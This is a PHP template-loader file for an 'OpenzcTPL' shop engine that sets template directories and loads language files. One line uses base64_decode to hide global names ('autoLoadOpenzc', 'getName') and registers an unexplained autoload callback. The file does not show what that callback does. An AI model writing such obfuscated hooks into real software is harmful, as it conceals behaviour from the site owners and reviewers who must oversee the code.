<?php
/**
**OpenzcTPL模板引擎，根据访客客户端以及选择的语言自动选择模板
**/
	if (!defined('IS_ADMIN_FLAG')) {
		die('Illegal Access');
	}
	openzc_get_template();
	$GLOBALS[base64_decode('YXV0b0xvYWRPcGVuemM=')][]=$GLOBALS[base64_decode('Z2V0TmFtZQ==')];
	$template_dir=OPENZC_TEMPLATE_DIR;
	define('DIR_WS_TEMPLATE', DIR_WS_TEMPLATES . OPENZC_TEMPLATE_DIR . '/');
	define('DIR_WS_TEMPLATE_IMAGES', DIR_WS_TEMPLATE . 'images/');
	define('DIR_WS_TEMPLATE_ICONS', DIR_WS_TEMPLATE_IMAGES . 'icons/');
	
	if (file_exists(DIR_WS_LANGUAGES . OPENZC_TEMPLATE_DIR . '/' . $_SESSION['language'] . '.php')) {
		$template_dir_select = OPENZC_TEMPLATE_DIR . '/';
		include_once(DIR_WS_LANGUAGES . $template_dir_select . $_SESSION['language'] . '.php');
	} else {
		$template_dir_select = '';
	}
	include_once(DIR_WS_LANGUAGES .  $_SESSION['language'] . '.php');
	header("Content-Type: text/html; charset=" . CHARSET);
	include(DIR_WS_MODULES . 'extra_definitions.php');
	
?>